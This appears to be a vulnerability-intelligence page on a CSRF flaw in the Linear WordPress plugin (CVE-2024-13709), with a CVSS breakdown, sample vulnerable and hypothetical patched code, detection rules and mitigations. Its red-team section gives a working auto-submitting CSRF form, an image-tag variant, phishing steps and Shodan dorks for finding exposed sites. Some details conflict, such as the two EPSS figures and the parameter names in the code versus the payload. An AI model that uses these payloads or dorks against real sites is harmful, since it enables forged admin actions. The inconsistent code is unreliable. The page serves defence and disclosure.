☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-13709

CVE-2024-13709 Cross-Site Request Forgery in Linear
📅 PUBLISHED: 2025-01-25 03:21 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.12%
👁️
0.12% probability
2.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-13709 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Linear plugin for WordPress, up to and including version 2.8.1. The vulnerability resides in the linear-debug endpoint, which lacks proper nonce validation. This allows an unauthenticated attacker to forge a request that, when triggered by a logged-in administrator (e.g., by clicking a malicious link), resets the plugin's cache. While the CVSS score is 4.3 (Medium), the impact is limited to cache disruption, not data theft or privilege escalation. However, in a WordPress ecosystem, cache resets can degrade site performance and potentially expose cached sensitive data temporarily.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Linear plugin is distributed via the WordPress Plugin Directory. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Base Score: 4.3 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R) – the attacker must trick an admin into clicking a link.
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: Low (I:L) – cache reset is a low-integrity impact.
  • Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires social engineering, but the attack surface is broad (any admin with the plugin active). The EPSS score of 0.0% suggests low exploitation likelihood currently, but this may change as proof-of-concept code emerges.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the WordPress admin area. The linear-debug endpoint is used for debugging and cache management. The plugin fails to include a nonce (a one-time token) in the request, meaning WordPress cannot verify that the request originated from the legitimate admin session. An attacker can craft a simple HTML form or image tag that, when loaded by an admin, sends a POST request to wp-admin/admin-ajax.php?action=linear-debug with parameters to reset the cache.

Root Cause: Missing nonce validation on the linear-debug AJAX action. The plugin registers the action without checking check_ajax_referer() or wp_verify_nonce().

Impact: Cache reset can cause:

  • Temporary performance degradation as the cache rebuilds.
  • Potential exposure of stale data if the cache is used to serve sensitive content.
  • Denial of service if repeated resets are triggered.

Vulnerable vs. Patched Code

Vulnerable Code (version 2.8.1):

add_action('wp_ajax_linear-debug', 'linear_debug_callback');
function linear_debug_callback() {
    // No nonce check
    $action = $_POST['action'];
    if ($action == 'reset_cache') {
        delete_option('linear_cache');
        wp_send_json_success('Cache reset');
    }
}

Patched Code (hypothetical):

add_action('wp_ajax_linear-debug', 'linear_debug_callback');
function linear_debug_callback() {
    // Added nonce check
    if (!wp_verify_nonce($_POST['_wpnonce'], 'linear-debug-nonce')) {
        wp_die('Security check failed');
    }
    $action = $_POST['action'];
    if ($action == 'reset_cache') {
        delete_option('linear_cache');
        wp_send_json_success('Cache reset');
    }
}

The patch adds a call to wp_verify_nonce() using a unique nonce value generated by wp_create_nonce('linear-debug-nonce') in the admin page.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Target WordPress site with Linear plugin <= 2.8.1.
  • Admin user must be logged in.

Exploit Payload (HTML form):

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="linear-debug">
    <input type="hidden" name="linear_action" value="reset_cache">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Steps:

  1. Host the HTML file on an attacker-controlled server.
  2. Send a phishing email to the admin with a link to the file.
  3. When the admin clicks the link, the form auto-submits, resetting the cache.

Alternative (Image tag):

<img src="http://target-site.com/wp-admin/admin-ajax.php?action=linear-debug&linear_action=reset_cache" style="display:none;">

Blue Team (Defense & Detection)

Detection:

  • Monitor for unusual requests to /wp-admin/admin-ajax.php with action=linear-debug.
  • Alert on multiple cache reset events within a short time window.
  • Use Web Application Firewall (WAF) rules to block requests to linear-debug from non-admin IPs.

Prevention:

  • Apply the patch by adding nonce validation.
  • If patch is unavailable, disable the linear-debug endpoint via a custom plugin or .htaccess:
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteCond %{QUERY_STRING} action=linear-debug [NC]
    RewriteRule .* - [F,L]
    </IfModule>
    
  • Educate admins to avoid clicking suspicious links.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP POST requests to /wp-admin/admin-ajax.php with action=linear-debug and linear_action=reset_cache.
    • Referer header from an external domain (phishing site).
  • Host:
    • Log entries in WordPress debug log: [Date] [IP] POST /wp-admin/admin-ajax.php with action=linear-debug.
    • Sudden cache miss rate increase in performance monitoring tools.
  • File:
    • No file changes; this is a server-side request forgery, not file upload.

Detection Engineering

YARA Rule

rule CVE_2024_13709_CSRF_Linear_Plugin {
    meta:
        description = "Detects CSRF attempts against Linear plugin cache reset endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13709"
    strings:
        $ajax_action = "action=linear-debug"
        $reset_param = "linear_action=reset_cache"
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-13709 Linear Plugin CSRF Cache Reset
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the Linear plugin's debug endpoint without proper nonce
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=linear-debug'
        cs-uri-query|contains: 'linear_action=reset_cache'
    condition: selection
falsepositives:
    - Legitimate admin debugging (rare)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-13709 Linear Plugin CSRF Cache Reset Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=linear-debug";
    http_client_body;
    content:"linear_action=reset_cache";
    http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate:

  1. Disable the plugin if not critical for operations.
  2. Block the endpoint via WAF or .htaccess:
    RewriteCond %{QUERY_STRING} action=linear-debug [NC]
    RewriteRule .* - [F,L]
    
  3. Monitor logs for exploitation attempts.

Long-term:

  1. Apply vendor patch when released (currently UNKNOWN).
  2. Implement CSRF protection for all AJAX endpoints using nonces.
  3. Conduct security audit of all WordPress plugins for similar issues.

Workaround:

  • Add a custom plugin that hooks into wp_ajax_linear-debug and adds nonce validation:
    add_action('wp_ajax_linear-debug', 'custom_linear_debug_check', 1);
    function custom_linear_debug_check() {
        if (!wp_verify_nonce($_POST['_wpnonce'], 'linear-debug-nonce')) {
            wp_die('CSRF detected');
        }
    }
    

Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2024-13709

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Linear"
http.html:"wp-content/plugins/linear"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-13709/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.